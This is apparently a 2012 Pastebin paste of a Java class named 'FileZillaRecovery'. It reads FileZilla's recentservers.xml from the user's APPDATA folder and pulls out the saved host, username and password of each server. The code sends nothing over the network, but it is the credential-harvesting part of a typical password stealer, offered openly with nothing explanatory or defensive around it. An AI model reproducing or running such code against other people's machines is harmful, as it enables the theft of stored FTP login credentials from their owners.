Fakedo0r

FileZilla Recovery

Jan 15th, 2012
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.38 KB | None | 0 0
  1. import java.io.File;
  2. import java.io.FileNotFoundException;
  3. import java.io.FileReader;
  4. import java.io.BufferedReader;
  5. import java.io.IOException;
  6.  
  7. public class FileZillaRecovery {
  8.  
  9.     public static String FileZilla() throws IOException
  10.     {
  11.        
  12.         File sFile = null;
  13.         FileReader Fr = null;
  14.         BufferedReader Br = null;
  15.        
  16.         int         i;
  17.         String      sName;
  18.         String      sHost;
  19.         String      sUser;
  20.         String      sPass;
  21.         String      sAccount;
  22.         String      sFileXML;
  23.         String      sF_Account;
  24.         String[]    sArrAccount;
  25.  
  26.         sHost = "";
  27.         sUser = "";
  28.         sPass = "";
  29.         sAccount = "";
  30.         sF_Account = "";
  31.        
  32.         sName = System.getenv("APPDATA") + "\\FileZilla\\recentservers.xml";
  33.  
  34.         sFile = new File(sName);
  35.  
  36.         try
  37.         {
  38.             Fr = new FileReader(sFile);
  39.             Br = new BufferedReader(Fr);
  40.  
  41.             while ((sFileXML = Br.readLine())!=null)
  42.             {
  43.                 sAccount = sAccount + sFileXML + "\n";
  44.             }
  45.         } catch (FileNotFoundException ex)
  46.         {
  47.             System.out.println("No se pudo recuperar!");
  48.            
  49.             return sF_Account;
  50.         }
  51.        
  52.         if (sAccount.indexOf("<RecentServers>")!=-1)
  53.         {
  54.             sAccount = TextCenter(sAccount,"<RecentServers>","</RecentServers>");
  55.  
  56.             sArrAccount = sAccount.split("<Server>");
  57.  
  58.             for (i=1;i<sArrAccount.length;i++)
  59.             {
  60.                 sHost = TextCenter(sArrAccount[i],"<Host>","</Host>");
  61.                 sUser = TextCenter(sArrAccount[i],"<User>","</User>");
  62.                 sPass = TextCenter(sArrAccount[i],"<Pass>","</Pass>");
  63.  
  64.                 sF_Account  = sF_Account +
  65.                              "Host: " + sHost + "\n" +
  66.                              "User: " + sUser + "\n" +
  67.                              "Pass: " + sPass + "\n\n";
  68.             }
  69.             return sF_Account;
  70.         }
  71.         else
  72.         {
  73.             System.out.println("No se pudo recuperar!");
  74.            
  75.             return sF_Account;
  76.         }
  77.     }
  78.  
  79.     private static String TextCenter(String sTexto,String sDel1,String sDel2)
  80.     {
  81.         sTexto = sTexto.substring(sTexto.indexOf(sDel1)+sDel1.length(),sTexto.indexOf(sDel2));
  82.        
  83.         return sTexto;
  84.     }
  85. }
Advertisement
Add Comment
Please, Sign In to add comment